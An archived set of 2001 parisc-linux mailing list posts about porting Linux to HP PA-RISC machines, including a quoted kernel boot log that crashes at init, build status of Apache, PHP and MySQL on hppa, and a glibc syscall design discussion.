RAMDISK: Loading 850 blocks [1 disk] into ram disk... |/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/done.

Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled

ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A

ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A

Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)

parport_init_chip: enhanced parport-modes not supported.

parport0: PC-style at 0xf0824800, irq 88 [PCSPP]

lp0: using parport0 (interrupt-driven).

SCSI subsystem driver Revision: 1.00

sim700: Couldn't get consistent shared memory

sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1

scsi0: Revision 0x0

Post test1, istat 05, sstat0 00, dstat 84

sim700: WARNING IRQ probe failed, (returned 0)

scsi0: WARNING: target data areas are not dma coherent!

scsi0: test 1 completed ok.

scsi0 : LASI/Simple 53c7xx

  Vendor: HP        Model: 2213A             Rev: C023

  Type:   Direct-Access                      ANSI SCSI revision: 01 CCS

  Vendor: TOSHIBA   Model: CD-ROM XM-3701TA  Rev: 0236

  Type:   CD-ROM                             ANSI SCSI revision: 02

  Vendor: QUANTUM   Model: PD425S            Rev: 535A

  Type:   Direct-Access                      ANSI SCSI revision: 02

  Vendor: QUANTUM   Model: PD425S            Rev: 535A

  Type:   Direct-Access                      ANSI SCSI revision: 02

Detected scsi disk sda at scsi0, channel 0, id 2, lun 0

Detected scsi disk sdb at scsi0, channel 0, id 5, lun 0

Detected scsi disk sdc at scsi0, channel 0, id 6, lun 0

SCSI device sda: 1296512 512-byte hdwr sectors (664 MB)

Partition check:

 sda: unknown partition table

SCSI device sdb: 833150 512-byte hdwr sectors (427 MB)

 sdb: unknown partition table

SCSI device sdc: 833150 512-byte hdwr sectors (427 MB)

 sdc: unknown partition table

Detected scsi CD-ROM sr0 at scsi0, channel 0, id 4, lun 0

Uniform CD-ROM driver Revision: 3.12

linear personality registered

raid0 personality registered

raid1 personality registered

raid5 personality registered

raid5: measuring checksumming speed

   8regs     :    41.910 MB/sec

   8regs_prefetch:    53.721 MB/sec

   32regs    :    42.672 MB/sec

   32regs_prefetch:    54.483 MB/sec

raid5: using function: 32regs_prefetch (54.483 MB/sec)

md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27

md.c: sizeof(mdp_super_t) = 4096

NET4: Linux TCP/IP 1.0 for NET4.0

IP Protocols: ICMP, UDP, TCP

IP: routing cache hash table of 512 buckets, 4Kbytes

TCP: Hash tables configured (established 2048 bind 2048)

eth0: link ok.

Sending BOOTP requests.... OK

IP-Config: Got BOOTP answer from 0.0.0.0, my address is 192.168.1.201

NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.

VFS: Mounted root (ext2 filesystem).

break 0,0: pid=1 command='init'


     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI

PSW: 		00000000000001000000000000001111

r0-3	 	00000000 1028260c 102d0000 00000000

r4-7	 	102d0580 1028260c 102d0000 00000000

r8-11	 	102d0580 00000000 00000000 1014ab60

r12-15	00000000 00000000 00000000 00000000

r16-19	11ff8000 1028260c 102d0000 00000000

r20-23	102d0580 00000000 00000000 00000000

r24-27	faf00038 faf0004c 00000001 10139494

r28-31	00000000 00000000 faf00080 00002f13

sr0-3	 	1ff2d60 11eef0c0 00000000 0000ffff

sr4-7	 	0000001 00000001 00000001 00000001


IASQ: 	0000001 00000001 IAOQ: 00002f13 00002f17

IIR: 		000000    ISR: 00000001  IOR: 00000000


ORIG_R28: 40800000


break 0,0: pid=1 command='init'



     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI


PSW: 00000000000001000000000000001111


etc.....</color>

<nofill>
Thought for the Day:
   Fax is stranger than fiction. 





From - Thu Nov 08 21:17:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Running Apache on PA-RISC Linux
Date: 08 Apr 2001 19:49:52 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <874rvyzvsv.fsf@rover.gag.com>
References: <002d01c0c064$2ed7c890$05ffa8c0@artymiak8zws8i>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620013 17710 80.91.229.3 (22 Nov 2014 01:33:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  8 19:50:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by dsl2.external.hp.com (Postfix) with ESMTP id E1BB9482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Apr 2001 19:50:03 -0600 (MDT)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 3060E35FBC; Sun,  8 Apr 2001 19:49:52 -0600 (MDT)
Original-Sender: bdale@rover.gag.com
In-Reply-To: <002d01c0c064$2ed7c890$05ffa8c0@artymiak8zws8i>
Original-Lines: 20
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Xref: news.gmane.org gmane.linux.ports.parisc:10718

workstations@poczta.onet.pl (Jacek Artymiak) writes:

> I'd like to run Apache/PHP/MySQL under PA-RISC Linux on my HP 712/100.  Is
> PA-RISC Linux stable enough to use it for that purpose or should I stick to
> HP-UX for now?

Checking the Debian wanna-build database for hppa, it appears that 

        apache is built and installed

        php3 and php4 failed to build, I haven't looked at why yet

        mysql failed to build because it at least needs config.sub/guess
        updated to versions that understand hppa

I haven't actually tried running apache yet, but I have no reason to expect
any problems.

Bdale





From - Thu Nov 08 21:17:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Many experiments on 720, but `init' fails !!
Date: Mon, 09 Apr 2001 09:09:30 +0200
Organization: AAA
Lines: 248
Approved: news@gmane.org
Message-ID: <3AD1602A.C88F8A14@alcatel.at>
References: <20010408220239.FGPU290.mta02-svc.ntlworld.com@mustain.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620013 17715 80.91.229.3 (22 Nov 2014 01:33:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jeffa@owlpoo.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 01:09:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2857F482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Apr 2001 01:09:38 -0600 (MDT)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id JAA21919;
	Mon, 9 Apr 2001 09:09:31 +0200 (MET DST)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10719

This could be a simial problem, but in your case, another problem
is also likely.
You have a 9000/730, which really has *one* CPU. (There a three
chips, AFAIK, one is the CPU, one is a FPU coprocessor, and the
third often has to do with the cache). 
The only difference is the CPU core speed (66HMz 730, 50Mhz 720),
and perhaps the machines are equipped a little different.

"Our" CPUs are very old. So there must be a line added in 
the arch/parisc/kernel/trap.c file. In the handle_interruption()
you must add the line
	`case 18:'
where
	`case 15:'
	`case 26:'
is in the code, because these old CPUs use an older method of
"reporting" page faults, etc...

But as you have the output of the "break" routine, this seems
not to be the interrupt code.

In my case it is pid=9. I have not find out yet, which "kernel
thread" pid will get.

With friendly regards
	Christoph P.


Jeff Arthur wrote:
> 
> It seems like I have very similar problems with a HP apollo series 700 (9000/730)
> 
> I have tried many builds, with home built cross compilers, downloaded cross compilers, images from CDs, downloaded lifs, roots on CDs, ramdisks and nfsroots. booting using rbootd over the lan, and off the .iso cd. I always seem to end up with a variation of the
> 
> break 0,0: pid=1 command='init'
> 
> problem.
> 
> Am keen to help (If I can, though just a lowly Sys Admin, not a kernel hack sadly)
> 
> P.S. i note that the boot only saw 1 cpu, even though the box is reported to be a 3 way, I presume this is as SMP is not compliled in by default?
> 
> here is capture from my console port
> 
> (c) Copyright. Hewlett-Packard Company. 1991.
> All rights reserved.
> 
> PDC ROM rev. 2.1
> IODC ROM rev. 2.1
> 32 MB of memory configured and tested.
> 
> Searching for Potential Boot Devices.
> To terminate search, press and hold the ESCAPE key.
> 
> Device Selection Device Path Device Type
> ----------------------------------------------------------------------------
> 
> P0 scsi.6.0 QUANTUM PD425S
> P1 scsi.5.0 QUANTUM PD425S
> P2 scsi.4.0 TOSHIBA CD-ROM XM-3701TA
> P3 scsi.2.0 HP 2213A
> P4 lan.00001c-030853.0.0 burner
> 
> b) Boot from specified device
> s) Search for bootable devices
> a) Enter Boot Administration mode
> x) Exit and continue boot sequence
> ?) Help
> 
> Select from menu: b
> 
> Enter boot selection, (h)elp, or e(x)it: p4
> Trying lan.00001c-030853.0.0
> Boot path initialized.
> Attempting to load IPL.
> 
> Hard booted.
> palo ipl root@hetfield Sun Apr 8 19:24:31 UTC 2001
> 0/vmlinux 2561817 bytes @ 0x6800
> 0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/ram initrd=0/ramdisk console=ttyS0'
> 0/ramdisk 870400 bytes @ 0x277f19
> Kernel: partition 0 file /vmlinux
> Ramdisk: partition 0 file /ramdisk
> ELF32 executable
> Entry 00100000 first 00100000 n 5
> Segment 0 load 00100000 size 1469208 mediaptr 0x1000
> Segment 1 load 00268000 size 181976 mediaptr 0x168000
> Segment 2 load 00298000 size 222280 mediaptr 0x195000
> Segment 3 load 002d0000 size 8192 mediaptr 0x1cc000
> Segment 4 load 002fef68 size 74720 mediaptr 0x1cef68
> Loading ramdisk 870400 bytes @ 01f1a000...
> branching to kernel entry point 0x00100000
> PDC Console Initialized
> Linux version 2.4.0 (root@hetfield) (gcc version 2.97 20010203 (experimental)) #1 Sun Apr 8 19:16:06 UTC 2001
> FP[0] enabled: Rev 3 Model 0
> The 32-bit Kernel has started...
> Determining PDC firmware type: Older Legacy Box
> setup_cmdline(0x64d58,0x64d58,0x1f1a000,0x1fee800)
> PALO command line: 'HOME=/ TERM=linux root=/dev/ram console=ttyS0'
> PALO initrd 1f1a000-1fee800
> model 00002020 00000481 00000000 00000000 3a238470 000011f4 00000004 0000000d 00000000
> vers 00000003
> CPUID vers 0 rev 0
> model 9000/730
> Total Memory: 32 Mb
> initrd: 11f1a000-11fee800
> pagetable_init
> On node 0 totalpages: 8192
> zone(0): 8192 pages.
> zone(1): 0 pages.
> zone(2): 0 pages.
> Searching for devices...
> Found devices:
> 1. Coral SGC Graphics (10) at 0xf8000000, versions 0x4, 0x0, 0x77, 0x0, 0x0
> 2. Cobra Core BA (11) at 0xf082f000, versions 0x4, 0x0, 0x70, 0x0, 0x0
> 3. Cobra Core SCSI (10) at 0xf0825000, versions 0x4, 0x0, 0x71, 0x0, 0x0
> 4. Cobra Core LAN (802.3) (10) at 0xf0826000, versions 0x4, 0x0, 0x72, 0x0, 0x0
> 5. Cobra Core HIL (10) at 0xf0821000, versions 0x4, 0x0, 0x73, 0x0, 0x0
> 6. Cobra Core RS-232 (10) at 0xf0823000, versions 0x4, 0x0, 0x75, 0x0, 0x0
> 7. Cobra Core RS-232 (10) at 0xf0822000, versions 0x4, 0x0, 0x75, 0x0, 0x0
> 8. Cobra Core Centronics (10) at 0xf0824000, versions 0x4, 0x0, 0x74, 0x0, 0x0
> 9. Cobra EISA BA (11) at 0xfc000000, versions 0x4, 0x0, 0x76, 0x0, 0x0
> 10. King Cobra (730) (0) at 0xfffbe000, versions 0x202, 0x0, 0x4, 0x0, 0x81
> 11. Cobra (1) at 0xfffbf000, versions 0x13, 0x0, 0x9, 0x0, 0x0
> That's a total of 11 devices.
> CPU(s): 1 x PA7000 (PCX-S) at 66.000000 MHz
> Kernel command line: HOME=/ TERM=linux root=/dev/ram console=ttyS0
> Calibrating delay loop... 65.74 BogoMIPS
> Memory: 29156k available
> Dentry-cache hash table entries: 4096 (order: 3, 32768 bytes)
> Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
> Page-cache hash table entries: 8192 (order: 3, 32768 bytes)
> Inode-cache hash table entries: 2048 (order: 2, 16384 bytes)
> POSIX conformance testing by UNIFIX
> ASP version 1 at 0xf0800000 found.
> LED (ASP-style) display at f0800020 registered
> Found HIL at 0xf0821000, IRQ 94
> HIL: keyboard found at id 0
> Found i82596 at 0xf0826000, IRQ 87
> early initialization of device eth0 is deferred
> Linux NET4.0 for Linux 2.4
> Based upon Swansea University Computer Society NET3.039
> Starting kswapd v1.8
> pty: 256 Unix98 ptys configured
> lp: driver loaded but no devices found
> RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
> 82596.c: MAC of HP700 LAN blindely read from the prom!
> eth0: Couldn't get consistent shared memory
> eth0: 82596 at 0xf0826000, 08 00 09 19 1B 34 IRQ 87.
> 82596.c $Revision: 1.17 $
> RAMDISK: ext2 filesystem found at block 0
> RAMDISK: Loading 850 blocks [1 disk] into ram disk... |/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/done.
> Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
> ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
> ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
> Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
> parport_init_chip: enhanced parport-modes not supported.
> parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
> lp0: using parport0 (interrupt-driven).
> SCSI subsystem driver Revision: 1.00
> sim700: Couldn't get consistent shared memory
> sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
> scsi0: Revision 0x0
> Post test1, istat 05, sstat0 00, dstat 84
> sim700: WARNING IRQ probe failed, (returned 0)
> scsi0: WARNING: target data areas are not dma coherent!
> scsi0: test 1 completed ok.
> scsi0 : LASI/Simple 53c7xx
> Vendor: HP Model: 2213A Rev: C023
> Type: Direct-Access ANSI SCSI revision: 01 CCS
> Vendor: TOSHIBA Model: CD-ROM XM-3701TA Rev: 0236
> Type: CD-ROM ANSI SCSI revision: 02
> Vendor: QUANTUM Model: PD425S Rev: 535A
> Type: Direct-Access ANSI SCSI revision: 02
> Vendor: QUANTUM Model: PD425S Rev: 535A
> Type: Direct-Access ANSI SCSI revision: 02
> Detected scsi disk sda at scsi0, channel 0, id 2, lun 0
> Detected scsi disk sdb at scsi0, channel 0, id 5, lun 0
> Detected scsi disk sdc at scsi0, channel 0, id 6, lun 0
> SCSI device sda: 1296512 512-byte hdwr sectors (664 MB)
> Partition check:
> sda: unknown partition table
> SCSI device sdb: 833150 512-byte hdwr sectors (427 MB)
> sdb: unknown partition table
> SCSI device sdc: 833150 512-byte hdwr sectors (427 MB)
> sdc: unknown partition table
> Detected scsi CD-ROM sr0 at scsi0, channel 0, id 4, lun 0
> Uniform CD-ROM driver Revision: 3.12
> linear personality registered
> raid0 personality registered
> raid1 personality registered
> raid5 personality registered
> raid5: measuring checksumming speed
> 8regs : 41.910 MB/sec
> 8regs_prefetch: 53.721 MB/sec
> 32regs : 42.672 MB/sec
> 32regs_prefetch: 54.483 MB/sec
> raid5: using function: 32regs_prefetch (54.483 MB/sec)
> md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
> md.c: sizeof(mdp_super_t) = 4096
> NET4: Linux TCP/IP 1.0 for NET4.0
> IP Protocols: ICMP, UDP, TCP
> IP: routing cache hash table of 512 buckets, 4Kbytes
> TCP: Hash tables configured (established 2048 bind 2048)
> eth0: link ok.
> Sending BOOTP requests.... OK
> IP-Config: Got BOOTP answer from 0.0.0.0, my address is 192.168.1.201
> NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
> VFS: Mounted root (ext2 filesystem).
> break 0,0: pid=1 command='init'
> 
> YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001000000000000001111
> r0-3 00000000 1028260c 102d0000 00000000
> r4-7 102d0580 1028260c 102d0000 00000000
> r8-11 102d0580 00000000 00000000 1014ab60
> r12-15 00000000 00000000 00000000 00000000
> r16-19 11ff8000 1028260c 102d0000 00000000
> r20-23 102d0580 00000000 00000000 00000000
> r24-27 faf00038 faf0004c 00000001 10139494
> r28-31 00000000 00000000 faf00080 00002f13
> sr0-3 1ff2d60 11eef0c0 00000000 0000ffff
> sr4-7 0000001 00000001 00000001 00000001
> 
> IASQ: 0000001 00000001 IAOQ: 00002f13 00002f17
> IIR: 000000 ISR: 00000001 IOR: 00000000
> 
> ORIG_R28: 40800000
> 
> break 0,0: pid=1 command='init'
> 
> YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> 
> PSW: 00000000000001000000000000001111
> 
> etc.....
> Thought for the Day: Fax is stranger than fiction.
> 
> _______________________________________________ parisc-linux mailing list parisc-linux@lists.parisc-linux.org http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
  +--------V--------+	Christoph.Plattner@alcatel.at
  |  A L C A T E L  |	-----------------------------
  +-----------------+	Phone: +43 1 27722 3706	
         T A S		Fax:   +43 1 27722 3955




From - Thu Nov 08 21:17:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-4?Q?=AEilvinas_Krapavickas?= <ZKrapavickas@alna.lt>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Running Apache on PA-RISC Linux
Date: Mon, 9 Apr 2001 10:30:44 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <DD95CC2158D6D2119EA00090273D32DF020FFBA7@saturn.alna.lt>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-4"
X-Trace: ger.gmane.org 1416620013 17718 80.91.229.3 (22 Nov 2014 01:33:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:33 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 02:31:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from saturn.alna.lt (p136.alna.lt [194.176.51.136])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE902482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Apr 2001 02:31:00 -0600 (MDT)
Original-Received: by saturn.alna.lt with Internet Mail Service (5.5.2653.19)
	id <H78SWNNX>; Mon, 9 Apr 2001 10:30:51 +0200
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:10720

> I'd like to run Apache/PHP/MySQL under PA-RISC Linux on my HP 712/100. Is 
> PA-RISC Linux stable enough to use it for that purpose or should I stick
to 
> HP-UX for now? 

I have successful running Apache/PHP with OpenLDAP and PostgreSQL support on
my HP9000/D250.

Slapd (OpenLDAP server) is running on same machine.
Postgresql server running on Intel platform.



	P.S. sorry for my english...




From - Thu Nov 08 21:17:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Running Apache on PA-RISC Linux
Date: Mon, 09 Apr 2001 11:39:35 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <3AD18357.3E4AC5F6@esiee.fr>
References: <002d01c0c064$2ed7c890$05ffa8c0@artymiak8zws8i> <874rvyzvsv.fsf@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620014 17723 80.91.229.3 (22 Nov 2014 01:33:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:34 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 03:34:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id A460B482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Apr 2001 03:34:41 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP id 8B40CD15F7
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Apr 2001 11:34:28 +0200 (CEST)
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10721

Bdale Garbee wrote:

> 
> Checking the Debian wanna-build database for hppa, it appears that
> 
>         apache is built and installed
> 
>         php3 and php4 failed to build, I haven't looked at why yet
> 
>         mysql failed to build because it at least needs config.sub/guess
>         updated to versions that understand hppa
> 

I tried to compile php4 for our website, and effectively it doesn't
work. It doesn't pass the ./configure.
If I remember well, it is connected to the fact that libutils doesn't
recognize the famous hppa-unknown-xxxx.
I think it was the same with mysql.

The only software problem we got in our http server is sometimes our 712
cannot handle swap and crash. 
But apache is not in fault. 
-- 
Matthieu Delahaye
ESIEE Team
http://mkhppa1.esiee.fr/en




From - Thu Nov 08 21:17:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rpc.lockd hangs  (was Re: portmap deb)
Date: Mon, 9 Apr 2001 10:56:06 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <20010409105606.C5790@linuxcare.com>
References: <20010406210401.7685C37CDB@carmen.fc.hp.com> <20010407001500.Z9198@linuxcare.com> <20010408202046.B19712@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620014 17726 80.91.229.3 (22 Nov 2014 01:33:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:34 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>, randolph@tausq.org,
	lamont@hp.com, debian-buildd@list.parisc-linux.org,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 03:55:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id B7C8A482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Apr 2001 03:55:03 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 9C685B007; Mon,  9 Apr 2001 10:56:06 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010408202046.B19712@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Sun, Apr 08, 2001 at 08:20:46PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10722

On Sun, Apr 08, 2001 at 08:20:46PM +0100, Matthew Wilcox wrote:
> Actually I prefer (d) [hands up everyone who's surprised?  :-)]  I

Not me ;)

> don't see why we should implement syscall in assembler.  After all, that
> would be the third implementation :-)  Why not have something along the
> lines of:
> 
> int syscall(int nr, int arg1, int arg, int arg3, int arg4, int arg5, int arg6)
> {
> 	return INLINE_SYSCALL(nr, arg1, arg2, arg3, arg4, arg5, arg6);
> }
> 
> I don't have a copy of glibc to hand, so i'm not quite sure on the syntax
> of INLINE_SYSCALL.

This is nfs-utils code atm:


/* compatibility hack... */
#ifndef __NR_nfsctl
#define __NR_nfsctl     __NR_nfsservctl
#endif

int
nfsctl (int cmd, struct nfsctl_arg * argp, union nfsctl_res * resp)
{
  return syscall (__NR_nfsctl, cmd, argp, resp);
}


INLINE_SYSCALL wants a name, and an arg count, not a syscall number, eg:

  INLINE_SYSCALL(nfsservctl, 3, cmd, argp, resp);

so passing a syscall number in to syscall() doesn't work, and also
syscall() won't know how many arguments there are to pass on to
INLINE_SYSCALL.  Maybe we could just use '6' to get round that.

Maybe we duplicate INLINE_SYSCALL in sysdeps/unix/sysv/linux/hppa/sysdep.h,
call the new one INLINE_SYSCALL_NR, and replace 'SYS_ify(name)' with 'name'.
Then have

int syscall(int nr, int arg1, int arg, int arg3, int arg4, int arg5, int arg6)
{
      return INLINE_SYSCALL_NR(nr, arg1, arg2, arg3, arg4, arg5, arg6);
}

so long as there is no prototype of that visible to clash with use
in nfs-utils..

Richard





From - Thu Nov 08 21:17:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 Progress
Date: Mon, 09 Apr 2001 07:36:42 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20010409133642.1853737CDB@carmen.fc.hp.com>
References: <BFEMJCMIKMCDNBPBHLNNKECOCBAA.Marc_Eisenbarth@baylor.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620014 17729 80.91.229.3 (22 Nov 2014 01:33:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Marc Eisenbarth" <Marc_Eisenbarth@baylor.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 07:34:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id D83CA482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Apr 2001 07:34:07 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 660AA297; Mon,  9 Apr 2001 09:34:07 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 1853737CDB; Mon,  9 Apr 2001 07:36:42 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Marc Eisenbarth" <Marc_Eisenbarth@baylor.edu> 
   of "Sun, 08 Apr 2001 12:32:56 CDT." <BFEMJCMIKMCDNBPBHLNNKECOCBAA.Marc_Eisenbarth@baylor.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:10723

"Marc Eisenbarth" writes...

> What is the statis for a Linux install for an HP C180 Visualize? I tried to
> install 0.5, but it seems to hang and will not accept input from the
> keyboard after the cd boots up.

IIRC, the C180 requires fixes that are not in the kernel on the 0.5 iso. 
Either build a new kernel(and boot from an nfsroot root), or wait for a new 
iso.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rpc.lockd hangs  (was Re: portmap deb)
Date: Mon, 9 Apr 2001 15:21:25 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20010409152125.A15015@parcelfarce.linux.theplanet.co.uk>
